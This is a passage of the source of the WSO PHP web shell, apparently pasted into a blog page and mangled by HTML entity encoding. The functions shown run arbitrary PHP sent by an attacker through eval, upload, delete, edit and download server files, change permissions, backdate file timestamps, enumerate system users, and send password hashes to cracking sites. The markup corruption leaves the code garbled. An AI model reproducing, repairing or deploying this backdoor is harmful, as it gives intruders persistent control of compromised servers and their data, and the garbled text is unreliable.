<input type="text" name="param1" value="0" /></td>
<td>To</td>
<td>
<input type="text" name="param2" value="1000" /></td>
</tr>
</tbody>
</table>
<input type="submit" value=">>&#8221; /></p>
<p>&#8216;;<br />
if (isset ($_POST['p2'], $_POST['p3']) &#038;&#038; is_numeric($_POST['p2']) &#038;&#038; is_numeric($_POST['p3'])) {<br />
$temp = &#8220;&#8221;;<br />
for(;$_POST['p2'] $uid = @posix_getpwuid($_POST['p2']);<br />
if ($uid)<br />
$temp .= join(&#8216;:&#8217;,$uid).&#8221;\n&#8221;;<br />
}<br />
echo &#8216;<br />
&#8216;;<br />
wsoSecParam(&#8216;Users&#8217;, $temp);<br />
}<br />
}<br />
} else {<br />
wsoSecParam(&#8216;OS Version&#8217;,wsoEx(&#8216;ver&#8217;));<br />
wsoSecParam(&#8216;Account Settings&#8217;,wsoEx(&#8216;net accounts&#8217;));<br />
wsoSecParam(&#8216;User Accounts&#8217;,wsoEx(&#8216;net user&#8217;));<br />
}<br />
echo &#8216;</p>
</div>
<p>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionPhp() {<br />
if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;, true);<br />
ob_start();<br />
eval($_POST['p1']);<br />
$temp = &#8220;document.getElementById(&#8216;PhpOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;PhpOutput&#8217;).innerHTML=&#8217;&#8221; . addcslashes(htmlspecialchars(ob_get_clean()), &#8220;\n\r\t\\&#8217;\0&#8243;) . &#8220;&#8216;;\n&#8221;;<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax']) &#038;&#038; !empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . &#8216;ajax&#8217;, 0);</p>
<p>wsoHeader();<br />
if(isset($_POST['p2']) &#038;&#038; ($_POST['p2'] == &#8216;info&#8217;)) {<br />
echo &#8216;</p>
<h1>PHP info</h1>
<div class="content">
<p>&#8216;;<br />
ob_start();<br />
phpinfo();<br />
$tmp = ob_get_clean();<br />
$tmp = preg_replace(array (<br />
&#8216;!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU&#8217;,<br />
&#8216;!td, th {(.*)}!msiU&#8217;,<br />
&#8216;!]+&#038;>!msiU&#8217;,<br />
), array (<br />
&#8221;,<br />
&#8216;.e, .v, .h, .h th {$1}&#8217;,<br />
&#8221;<br />
), $tmp);<br />
echo str_replace(&#8216;</p>
<p>&#8216;;<br />
}<br />
echo &#8216;</p>
<h1>Execution PHP-code</h1>
<div class="content">
<form method="post" name="pf" onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea id="PhpCode" class="bigarea" name="code">&#8216;.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):&#8221;).&#8217;</textarea></p>
<input style="margin-top: 5px;" type="submit" value="Eval" />&#8216;;<br />
echo &#8216;</p>
<input type="checkbox" name="ajax" value="1" checked="checked" /> send using AJAX</form>
<pre id="PhpOutput" class="ml1" style="'.(empty($_post['p1'])?'display: none; '_5'').'margin-top: 5px;">';
	if(!empty($_POST['p1'])) {
		ob_start();
		eval($_POST['p1']);
		echo htmlspecialchars(ob_get_clean());
	}
	echo '</pre>
</div>
<p>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionFilesMan() {<br />
if (!empty ($_COOKIE['f']))<br />
$_COOKIE['f'] = @unserialize($_COOKIE['f']);</p>
<p>if(!empty($_POST['p1'])) {<br />
switch($_POST['p1']) {<br />
case &#8216;uploadFile&#8217;:<br />
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))<br />
echo &#8220;Can&#8217;t upload file!&#8221;;<br />
break;<br />
case &#8216;mkdir&#8217;:<br />
if(!@mkdir($_POST['p2']))<br />
echo &#8220;Can&#8217;t create new dir&#8221;;<br />
break;<br />
case &#8216;delete&#8217;:<br />
function deleteDir($path) {<br />
$path = (substr($path,-1)==&#8217;/') ? $path:$path.&#8217;/';<br />
$dh = opendir($path);<br />
while ( ($item = readdir($dh) ) !== false) {<br />
$item = $path.$item;<br />
if ( (basename($item) == &#8220;..&#8221;) || (basename($item) == &#8220;.&#8221;) )<br />
continue;<br />
$type = filetype($item);<br />
if ($type == &#8220;dir&#8221;)<br />
deleteDir($item);<br />
else<br />
@unlink($item);<br />
}<br />
closedir($dh);<br />
@rmdir($path);<br />
}<br />
if(is_array(@$_POST['f']))<br />
foreach($_POST['f'] as $f) {<br />
if($f == &#8216;..&#8217;)<br />
continue;<br />
$f = urldecode($f);<br />
if(is_dir($f))<br />
deleteDir($f);<br />
else<br />
@unlink($f);<br />
}<br />
break;<br />
case &#8216;paste&#8217;:<br />
if($_COOKIE['act'] == &#8216;copy&#8217;) {<br />
function copy_paste($c,$s,$d){<br />
if(is_dir($c.$s)){<br />
mkdir($d.$s);<br />
$h = @opendir($c.$s);<br />
while (($f = @readdir($h)) !== false)<br />
if (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br />
copy_paste($c.$s.&#8217;/',$f, $d.$s.&#8217;/');<br />
} elseif(is_file($c.$s))<br />
@copy($c.$s, $d.$s);<br />
}<br />
foreach($_COOKIE['f'] as $f)<br />
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);<br />
} elseif($_COOKIE['act'] == &#8216;move&#8217;) {<br />
function move_paste($c,$s,$d){<br />
if(is_dir($c.$s)){<br />
mkdir($d.$s);<br />
$h = @opendir($c.$s);<br />
while (($f = @readdir($h)) !== false)<br />
if (($f != &#8220;.&#8221;) and ($f != &#8220;..&#8221;))<br />
copy_paste($c.$s.&#8217;/',$f, $d.$s.&#8217;/');<br />
} elseif(@is_file($c.$s))<br />
@copy($c.$s, $d.$s);<br />
}<br />
foreach($_COOKIE['f'] as $f)<br />
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);<br />
} elseif($_COOKIE['act'] == &#8216;zip&#8217;) {<br />
if(class_exists(&#8216;ZipArchive&#8217;)) {<br />
$zip = new ZipArchive();<br />
if ($zip-&#038;>open($_POST['p2'], 1)) {<br />
chdir($_COOKIE['c']);<br />
foreach($_COOKIE['f'] as $f) {<br />
if($f == &#8216;..&#8217;)<br />
continue;<br />
if(@is_file($_COOKIE['c'].$f))<br />
$zip-&#038;>addFile($_COOKIE['c'].$f, $f);<br />
elseif(@is_dir($_COOKIE['c'].$f)) {<br />
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.&#8217;/', FilesystemIterator::SKIP_DOTS));<br />
foreach ($iterator as $key=&#038;>$value) {<br />
$zip-&#038;>addFile(realpath($key), $key);<br />
}<br />
}<br />
}<br />
chdir($GLOBALS['cwd']);<br />
$zip-&#038;>close();<br />
}<br />
}<br />
} elseif($_COOKIE['act'] == &#8216;unzip&#8217;) {<br />
if(class_exists(&#8216;ZipArchive&#8217;)) {<br />
$zip = new ZipArchive();<br />
foreach($_COOKIE['f'] as $f) {<br />
if($zip-&#038;>open($_COOKIE['c'].$f)) {<br />
$zip-&#038;>extractTo($GLOBALS['cwd']);<br />
$zip-&#038;>close();<br />
}<br />
}<br />
}<br />
} elseif($_COOKIE['act'] == &#8216;tar&#8217;) {<br />
chdir($_COOKIE['c']);<br />
$_COOKIE['f'] = array_map(&#8216;escapeshellarg&#8217;, $_COOKIE['f']);<br />
wsoEx(&#8216;tar cfzv &#8216; . escapeshellarg($_POST['p2']) . &#8216; &#8216; . implode(&#8216; &#8216;, $_COOKIE['f']));<br />
chdir($GLOBALS['cwd']);<br />
}<br />
unset($_COOKIE['f']);<br />
setcookie(&#8216;f&#8217;, &#8221;, time() &#8211; 3600);<br />
break;<br />
default:<br />
if(!empty($_POST['p1'])) {<br />
WSOsetcookie(&#8216;act&#8217;, $_POST['p1']);<br />
WSOsetcookie(&#8216;f&#8217;, serialize(@$_POST['f']));<br />
WSOsetcookie(&#8216;c&#8217;, @$_POST['c']);<br />
}<br />
break;<br />
}<br />
}<br />
wsoHeader();<br />
echo &#8216;</p>
<h1>File manager</h1>
<div class="content"><script type="text/javascript">// <![CDATA[
p1_=p2_=p3_="";
// ]]&gt;</script>&#8216;;<br />
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);<br />
if($dirContent === false) { echo &#8216;Can\&#8217;t open this folder!&#8217;;wsoFooter(); return; }<br />
global $sort;<br />
$sort = array(&#8216;name&#8217;, 1);<br />
if(!empty($_POST['p1'])) {<br />
if(preg_match(&#8216;!s_([A-z]+)_(\d{1})!&#8217;, $_POST['p1'], $match))<br />
$sort = array($match[1], (int)$match[2]);<br />
}<br />
echo &#8220;<script type="text/javascript">// <![CDATA[
	function sa() {
		for(i=0;i<d.files.elements.length;i++)
			if(d.files.elements[i].type == 'checkbox')
				d.files.elements[i].checked = d.files.elements[0].checked;
	}
// ]]&gt;</script></div>
<table class="main" width="100%" cellspacing="0" cellpadding="2">
<tbody>
<tr>
<th width="13">
<input class="chkbx" onclick="sa()" type="checkbox" /></th>
<th><a onclick="g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")" href="#">Name</a></th>
<th><a onclick="g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")" href="#">Size</a></th>
<th><a onclick="g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")" href="#">Modify</a></th>
<th>Owner/Group</th>
<th><a onclick="g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")" href="#">Permissions</a></th>
<th>Actions</th>
<p>&#8220;;<br />
$dirs = $files = array();<br />
$n = count($dirContent);<br />
for($i=0;$i $ow = @posix_getpwuid(@fileowner($dirContent[$i]));<br />
$gr = @posix_getgrgid(@filegroup($dirContent[$i]));<br />
$tmp = array(&#8216;name&#8217; =&#038;> $dirContent[$i],<br />
&#8216;path&#8217; =&#038;> $GLOBALS['cwd'].$dirContent[$i],<br />
&#8216;modify&#8217; =&#038;> date(&#8216;Y-m-d H:i:s&#8217;, @filemtime($GLOBALS['cwd'] . $dirContent[$i])),<br />
&#8216;perms&#8217; =&#038;> wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),<br />
&#8216;size&#8217; =&#038;> @filesize($GLOBALS['cwd'].$dirContent[$i]),<br />
&#8216;owner&#8217; =&#038;> $ow['name']?$ow['name']:@fileowner($dirContent[$i]),<br />
&#8216;group&#8217; =&#038;> $gr['name']?$gr['name']:@filegroup($dirContent[$i])<br />
);<br />
if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))<br />
$files[] = array_merge($tmp, array(&#8216;type&#8217; =&#038;> &#8216;file&#8217;));<br />
elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))<br />
$dirs[] = array_merge($tmp, array(&#8216;type&#8217; =&#038;> &#8216;link&#8217;, &#8216;link&#8217; =&#038;> readlink($tmp['path'])));<br />
elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))<br />
$dirs[] = array_merge($tmp, array(&#8216;type&#8217; =&#038;> &#8216;dir&#8217;));<br />
}<br />
$GLOBALS['sort'] = $sort;<br />
function wsoCmp($a, $b) {<br />
if($GLOBALS['sort'][0] != &#8216;size&#8217;)<br />
return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);<br />
else<br />
return (($a['size'] &#038;< $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);<br />
}<br />
usort($files, "wsoCmp");<br />
usort($dirs, "wsoCmp");<br />
$files = array_merge($dirs, $files);<br />
$l = 0;<br />
foreach($files as $f) {<br />
echo '</p>
<input class="chkbx" type="checkbox" name="f[]" value="'.urlencode($f['name']).'" /><a onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')" href="#">&#8216;.htmlspecialchars($f['name']):&#8217;g(\&#8217;FilesMan\&#8217;,\&#8221;.$f['path'].&#8217;\');&#8221; &#8216; . (empty ($f['link']) ? &#8221; : &#8220;title=&#8217;{$f['link']}&#8217;&#8221;) . &#8216;&#038;><strong>[ ' . htmlspecialchars($f['name']) . &#8216; ]</strong>&#8216;).&#8217;</a>&#8216;.(($f['type']==&#8217;file&#8217;)?wsoViewSize($f['size']):$f['type']).&#8221;.$f['modify'].&#8221;.$f['owner'].&#8217;/&#8217;.$f['group'].&#8217;<a onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')" href="#">&#8216;.$f['perms']<br />
.&#8217;</a><a onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')" href="#">R</a> <a onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')" href="#">T</a>&#8216;.(($f['type']==&#8217;file&#8217;)?&#8217; <a onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')" href="#">E</a> <a onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')" href="#">D</a>&#8216;:&#8221;).&#8221;;<br />
$l = $l?0:1;<br />
}<br />
echo &#8221;</p>
<td colspan="7">
<input type="hidden" name="a" value="FilesMan" />
<input type="hidden" name="c" value="" . htmlspecialchars($GLOBALS[" />
<input type="hidden" name="charset" value="". (isset($_POST[" />
<select name="p1">
<option selected="selected" value="copy">Copy</option>
<option value="move">Move</option>
<option value="delete">Delete</option>
</select>
<p>&#8220;;<br />
if(class_exists(&#8216;ZipArchive&#8217;))<br />
echo &#8221;</p>
<p>Compress (zip)Uncompress (zip)&#8221;;<br />
echo &#8221;</p>
<p>Compress (tar.gz)&#8221;;<br />
if(!empty($_COOKIE['act']) &#038;&#038; @count($_COOKIE['f']))<br />
echo &#8221;</p>
<p>Paste / Compress&#8221;;<br />
echo &#8221;</p>
<p> &#8220;;<br />
if(!empty($_COOKIE['act']) &#038;&#038; @count($_COOKIE['f']) &#038;&#038; (($_COOKIE['act'] == &#8216;zip&#8217;) || ($_COOKIE['act'] == &#8216;tar&#8217;)))<br />
echo &#8220;file name:</p>
<input type="text" name="p2" value="wso_" . date("Ymd_His") . "." . ($_COOKIE[" /> &#8220;;<br />
echo &#8221;</p>
<input type="submit" value=">>&#8221; /></td>
</tr>
</tbody>
</table>
</div>
<p>&#8220;;<br />
wsoFooter();<br />
}</p>
<p>function actionStringTools() {<br />
if(!function_exists(&#8216;hex2bin&#8217;)) {function hex2bin($p) {return decbin(hexdec($p));}}<br />
if(!function_exists(&#8216;binhex&#8217;)) {function binhex($p) {return dechex(bindec($p));}}<br />
if(!function_exists(&#8216;hex2ascii&#8217;)) {function hex2ascii($p){$r=&#8221;;for($i=0;$i if(!function_exists(&#8216;ascii2hex&#8217;)) {function ascii2hex($p){$r=&#8221;;for($i=0;$i if(!function_exists(&#8216;full_urlencode&#8217;)) {function full_urlencode($p){$r=&#8221;;for($i=0;$i $stringTools = array(<br />
&#8216;Base64 encode&#8217; =&#038;> &#8216;base64_encode&#8217;,<br />
&#8216;Base64 decode&#8217; =&#038;> &#8216;base64_decode&#8217;,<br />
&#8216;Url encode&#8217; =&#038;> &#8216;urlencode&#8217;,<br />
&#8216;Url decode&#8217; =&#038;> &#8216;urldecode&#8217;,<br />
&#8216;Full urlencode&#8217; =&#038;> &#8216;full_urlencode&#8217;,<br />
&#8216;md5 hash&#8217; =&#038;> &#8216;md5&#8242;,<br />
&#8216;sha1 hash&#8217; =&#038;> &#8216;sha1&#8242;,<br />
&#8216;crypt&#8217; =&#038;> &#8216;crypt&#8217;,<br />
&#8216;CRC32&#8242; =&#038;> &#8216;crc32&#8242;,<br />
&#8216;ASCII to HEX&#8217; =&#038;> &#8216;ascii2hex&#8217;,<br />
&#8216;HEX to ASCII&#8217; =&#038;> &#8216;hex2ascii&#8217;,<br />
&#8216;HEX to DEC&#8217; =&#038;> &#8216;hexdec&#8217;,<br />
&#8216;HEX to BIN&#8217; =&#038;> &#8216;hex2bin&#8217;,<br />
&#8216;DEC to HEX&#8217; =&#038;> &#8216;dechex&#8217;,<br />
&#8216;DEC to BIN&#8217; =&#038;> &#8216;decbin&#8217;,<br />
&#8216;BIN to HEX&#8217; =&#038;> &#8216;binhex&#8217;,<br />
&#8216;BIN to DEC&#8217; =&#038;> &#8216;bindec&#8217;,<br />
&#8216;String to lower case&#8217; =&#038;> &#8216;strtolower&#8217;,<br />
&#8216;String to upper case&#8217; =&#038;> &#8216;strtoupper&#8217;,<br />
&#8216;Htmlspecialchars&#8217; =&#038;> &#8216;htmlspecialchars&#8217;,<br />
&#8216;String length&#8217; =&#038;> &#8216;strlen&#8217;,<br />
);<br />
if(isset($_POST['ajax'])) {<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, true);<br />
ob_start();<br />
if(in_array($_POST['p1'], $stringTools))<br />
echo $_POST['p1']($_POST['p2']);<br />
$temp = &#8220;document.getElementById(&#8216;strOutput&#8217;).style.display=&#8221;;document.getElementById(&#8216;strOutput&#8217;).innerHTML=&#8217;&#8221;.addcslashes(htmlspecialchars(ob_get_clean()),&#8221;\n\r\t\\&#8217;\0&#8243;).&#8221;&#8216;;\n&#8221;;<br />
echo strlen($temp), &#8220;\n&#8221;, $temp;<br />
exit;<br />
}<br />
if(empty($_POST['ajax'])&#038;&#038;!empty($_POST['p1']))<br />
WSOsetcookie(md5($_SERVER['HTTP_HOST']).&#8217;ajax&#8217;, 0);<br />
wsoHeader();<br />
echo &#8216;</p>
<h1>String conversions</h1>
<div class="content">&#8216;;<br />
echo &#8221;</p>
<form name="toolsForm" onsubmit="if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;">
<select name="selectTool">&#8220;;</select>
<select name="selectTool"> foreach($stringTools as $k =&#038;> $v)</select>
<select name="selectTool"> echo &#8220;</select>
<select name="selectTool">
<option selected="selected" value="".htmlspecialchars($v)."">&#8220;.$k.&#8221;</option>
</select>
<p>&#8220;;<br />
echo &#8221;</p>
<input type="submit" value=">>&#8221; /></p>
<input type="checkbox" name="ajax" value="1" checked="checked" /> send using AJAX<br />
<textarea class="bigarea" style="margin-top: 5px;" name="input">&#8220;.(empty($_POST['p1'])?&#8221;:htmlspecialchars(@$_POST['p2'])).&#8221;</textarea></form>
<pre id="strOutput" class="ml1">";
	if(!empty($_POST['p1'])) {
		if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
	}
	echo"</pre>
</div>
<h1>Search files:</h1>
<div class="content">
<form onsubmit="\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return">
<table width="50%" cellspacing="0" cellpadding="1">
<tbody>
<tr>
<td width="1%">Text:</td>
<td>
<input style="width: 100%;" type="text" name="text" /></td>
</tr>
<tr>
<td>Path:</td>
<td>
<input style="width: 100%;" type="text" name="cwd" value="". htmlspecialchars($GLOBALS[" /></td>
</tr>
<tr>
<td>Name:</td>
<td>
<input style="width: 100%;" type="text" name="filename" value="*" /></td>
</tr>
<tr>
<td> </td>
<td>
<input type="submit" value=">>&#8221; /></td>
</tr>
</tbody>
</table>
</form>
<p>&#8220;;</p>
<p>function wsoRecursiveGlob($path) {<br />
if(substr($path, -1) != &#8216;/&#8217;)<br />
$path.=&#8217;/';<br />
$paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.&#8217;*', GLOB_ONLYDIR)));<br />
if(is_array($paths)&#038;&#038;@count($paths)) {<br />
foreach($paths as $item) {<br />
if(@is_dir($item)){<br />
if($path!=$item)<br />
wsoRecursiveGlob($item);<br />
} else {<br />
if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)<br />
echo &#8220;<a onclick="g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")" href="#">&#8220;.htmlspecialchars($item).&#8221;</a><br />
&#8220;;<br />
}<br />
}<br />
}<br />
}<br />
if(@$_POST['p3'])<br />
wsoRecursiveGlob($_POST['c']);<br />
echo &#8221;</p>
</div>
<h1>Search for hash:</h1>
<div class="content">
<form method="post" name="hf" target="_blank">
<input style="width: 200px;" type="text" name="hash" /></form>
</div>
<input type="hidden" name="act" value="find" />
<input onclick="\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"" type="button" value="hashcracking.ru" />
<input onclick="\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&#038;s=md5';document.hf.submit()\"" type="button" value="md5.rednoize.com" />
<input onclick="\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"" type="button" value="crackfor.me" />
<p>&#8220;;<br />
wsoFooter();<br />
}</p>
<p>function actionFilesTools() {<br />
if( isset($_POST['p1']) )<br />
$_POST['p1'] = urldecode($_POST['p1']);<br />
if(@$_POST['p2']==&#8217;download&#8217;) {<br />
if(@is_file($_POST['p1']) &#038;&#038; @is_readable($_POST['p1'])) {<br />
ob_start(&#8220;ob_gzhandler&#8221;, 4096);<br />
header(&#8220;Content-Disposition: attachment; filename=&#8221;.basename($_POST['p1']));<br />
if (function_exists(&#8220;mime_content_type&#8221;)) {<br />
$type = @mime_content_type($_POST['p1']);<br />
header(&#8220;Content-Type: &#8221; . $type);<br />
} else<br />
header(&#8220;Content-Type: application/octet-stream&#8221;);<br />
$fp = @fopen($_POST['p1'], &#8220;r&#8221;);<br />
if($fp) {<br />
while(!@feof($fp))<br />
echo @fread($fp, 1024);<br />
fclose($fp);<br />
}<br />
}exit;<br />
}<br />
if( @$_POST['p2'] == &#8216;mkfile&#8217; ) {<br />
if(!file_exists($_POST['p1'])) {<br />
$fp = @fopen($_POST['p1'], &#8216;w&#8217;);<br />
if($fp) {<br />
$_POST['p2'] = &#8220;edit&#8221;;<br />
fclose($fp);<br />
}<br />
}<br />
}<br />
wsoHeader();<br />
echo &#8216;</p>
<h1>File tools</h1>
<div class="content">&#8216;;<br />
if( !file_exists(@$_POST['p1']) ) {<br />
echo &#8216;File not exists&#8217;;<br />
wsoFooter();<br />
return;<br />
}<br />
$uid = @posix_getpwuid(@fileowner($_POST['p1']));<br />
if(!$uid) {<br />
$uid['name'] = @fileowner($_POST['p1']);<br />
$gid['name'] = @filegroup($_POST['p1']);<br />
} else $gid = @posix_getgrgid(@filegroup($_POST['p1']));<br />
echo &#8216;<span>Name:</span> &#8216;.htmlspecialchars(@basename($_POST['p1'])).&#8217; <span>Size:</span> &#8216;.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):&#8217;-').&#8217; <span>Permission:</span> &#8216;.wsoPermsColor($_POST['p1']).&#8217; <span>Owner/Group:</span> &#8216;.$uid['name'].&#8217;/&#8217;.$gid['name'].&#8217;<br />
&#8216;;<br />
echo &#8216;<span>Change time:</span> &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filectime($_POST['p1'])).&#8217; <span>Access time:</span> &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,fileatime($_POST['p1'])).&#8217; <span>Modify time:</span> &#8216;.date(&#8216;Y-m-d H:i:s&#8217;,filemtime($_POST['p1'])).&#8217;</div>
<p>&#8216;;<br />
if( empty($_POST['p2']) )<br />
$_POST['p2'] = &#8216;view&#8217;;<br />
if( is_file($_POST['p1']) )<br />
$m = array(&#8216;View&#8217;, &#8216;Highlight&#8217;, &#8216;Download&#8217;, &#8216;Hexdump&#8217;, &#8216;Edit&#8217;, &#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br />
else<br />
$m = array(&#8216;Chmod&#8217;, &#8216;Rename&#8217;, &#8216;Touch&#8217;);<br />
foreach($m as $v)<br />
echo &#8216;<a onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')" href="#">&#8216;.((strtolower($v)==@$_POST['p2'])?&#8217;<strong>[ '.$v.' ]</strong>&#8216;:$v).&#8217;</a> &#8216;;<br />
echo &#8216;</p>
<p>&#8216;;<br />
switch($_POST['p2']) {<br />
case &#8216;view&#8217;:<br />
echo &#8216;</p>
<pre class="ml1">';
			$fp = @fopen($_POST['p1'], 'r');
			if($fp) {
				while( !@feof($fp) )
					echo htmlspecialchars(@fread($fp, 1024));
				@fclose($fp);
			}
			echo '</pre>
<p>&#8216;;<br />
break;<br />
case &#8216;highlight&#8217;:<br />
if( @is_readable($_POST['p1']) ) {<br />
echo &#8216;</p>
<div class="ml1" style="background-color: #e1e1e1; color: black;">&#8216;;<br />
$code = @highlight_file($_POST['p1'],true);<br />
echo str_replace(array(&#8216;<span>&#8216;), array(&#8216;<span>&#8216;),$code).&#8217;</span></span></div>
<p>&#8216;;<br />
}<br />
break;<br />
case &#8216;chmod&#8217;:<br />
if( !empty($_POST['p3']) ) {<br />
$perms = 0;<br />
for($i=strlen($_POST['p3'])-1;$i&#038;>=0;&#8211;$i)<br />
$perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));<br />
if(!@chmod($_POST['p1'], $perms))<br />
echo &#8216;Can\&#8217;t set permissions!<br />
<script type="text/javascript">// <![CDATA[
document.mf.p3.value="";
// ]]&gt;</script>&#8216;;<br />
}<br />
clearstatcache();<br />
echo &#8216;<script type="text/javascript">// <![CDATA[
p3_="";
// ]]&gt;</script></p>
<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;">
<input type="text" name="chmod" value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8216;;<br />
break;<br />
case &#8216;edit&#8217;:<br />
if( !is_writable($_POST['p1'])) {<br />
echo &#8216;File isn\&#8217;t writeable&#8217;;<br />
break;<br />
}<br />
if( !empty($_POST['p3']) ) {<br />
$time = @filemtime($_POST['p1']);<br />
$_POST['p3'] = substr($_POST['p3'],1);<br />
$fp = @fopen($_POST['p1'],&#8221;w&#8221;);<br />
if($fp) {<br />
@fwrite($fp,$_POST['p3']);<br />
@fclose($fp);<br />
echo &#8216;Saved!<br />
<script type="text/javascript">// <![CDATA[
p3_="";
// ]]&gt;</script>&#8216;;<br />
@touch($_POST['p1'],$time,$time);<br />
}<br />
}<br />
echo &#8216;</p>
<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea class="bigarea" name="text">&#8216;;</textarea><br />
<textarea class="bigarea" name="text"> $fp = @fopen($_POST['p1'], &#8216;r&#8217;);</textarea><br />
<textarea class="bigarea" name="text"> if($fp) {</textarea><br />
<textarea class="bigarea" name="text"> while( !@feof($fp) )</textarea><br />
<textarea class="bigarea" name="text"> echo htmlspecialchars(@fread($fp, 1024));</textarea><br />
<textarea class="bigarea" name="text"> @fclose($fp);</textarea><br />
<textarea class="bigarea" name="text"> }</textarea><br />
<textarea class="bigarea" name="text"> echo &#8216;</textarea></p>
<input type="submit" value=">>&#8221; /></form>
<p>&#8216;;<br />
break;<br />
case &#8216;hexdump&#8217;:<br />
$c = @file_get_contents($_POST['p1']);<br />
$n = 0;<br />
$h = array(&#8217;00000000<br />
&#8216;,&#8221;,&#8221;);<br />
$len = strlen($c);<br />
for ($i=0; $i $h[1] .= sprintf(&#8216;%02X&#8217;,ord($c[$i])).&#8217; &#8216;;<br />
switch ( ord($c[$i]) ) {<br />
case 0: $h[2] .= &#8216; &#8216;; break;<br />
case 9: $h[2] .= &#8216; &#8216;; break;<br />
case 10: $h[2] .= &#8216; &#8216;; break;<br />
case 13: $h[2] .= &#8216; &#8216;; break;<br />
default: $h[2] .= $c[$i]; break;<br />
}<br />
$n++;<br />
if ($n == 32) {<br />
$n = 0;<br />
if ($i+1 &#038;< $len) {$h[0] .= sprintf('%08X',$i+1).'<br />
';}<br />
$h[1] .= '<br />
';<br />
$h[2] .= "\n";<br />
}<br />
}<br />
echo '</p>
<table cellspacing="1" cellpadding="5" bgcolor="#222222">
<tbody>
<tr>
<td bgcolor="#333333">
<pre>'.$h[0].'</pre>
</td>
<td bgcolor="#282828">
<pre>'.$h[1].'</pre>
</td>
<td bgcolor="#333333">
<pre>'.htmlspecialchars($h[2]).'</pre>
</td>
</tr>
</tbody>
</table>
<p>&#8216;;<br />
break;<br />
case &#8216;rename&#8217;:<br />
if( !empty($_POST['p3']) ) {<br />
if(!@rename($_POST['p1'], $_POST['p3']))<br />
echo &#8216;Can\&#8217;t rename!<br />
&#8216;;<br />
else<br />
die(&#8216;<script type="text/javascript">// <![CDATA[
g(null,null,"'.urlencode($_POST['p3']).'",null,"")
// ]]&gt;</script>&#8216;);<br />
}<br />
echo &#8216;</p>
<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;">
<input type="text" name="name" value="'.htmlspecialchars($_POST['p1']).'" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8216;;<br />
break;<br />
case &#8216;touch&#8217;:<br />
if( !empty($_POST['p3']) ) {<br />
$time = strtotime($_POST['p3']);<br />
if($time) {<br />
if(!touch($_POST['p1'],$time,$time))<br />
echo &#8216;Fail!&#8217;;<br />
else<br />
echo &#8216;Touched!&#8217;;<br />
} else echo &#8216;Bad time format!&#8217;;<br />
}<br />
clearstatcache();<br />
echo &#8216;<script type="text/javascript">// <![CDATA[
p3_="";
// ]]&gt;</script></p>
<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;">
<input type="text" name="touch" value="'.date(" />
<input type="submit" value=">>&#8221; /></form>
<p>&#8216;;<br />
break;<br />
}<br />
echo &#8216;</p>
<p>&#8216;;<br />
wsoFooter();<br />
}</p>
<p>function actionConsole() {<br />
if(!empty($_POST['p1']) &#038;&#038; !empty($_POST['p2'])) {<br />
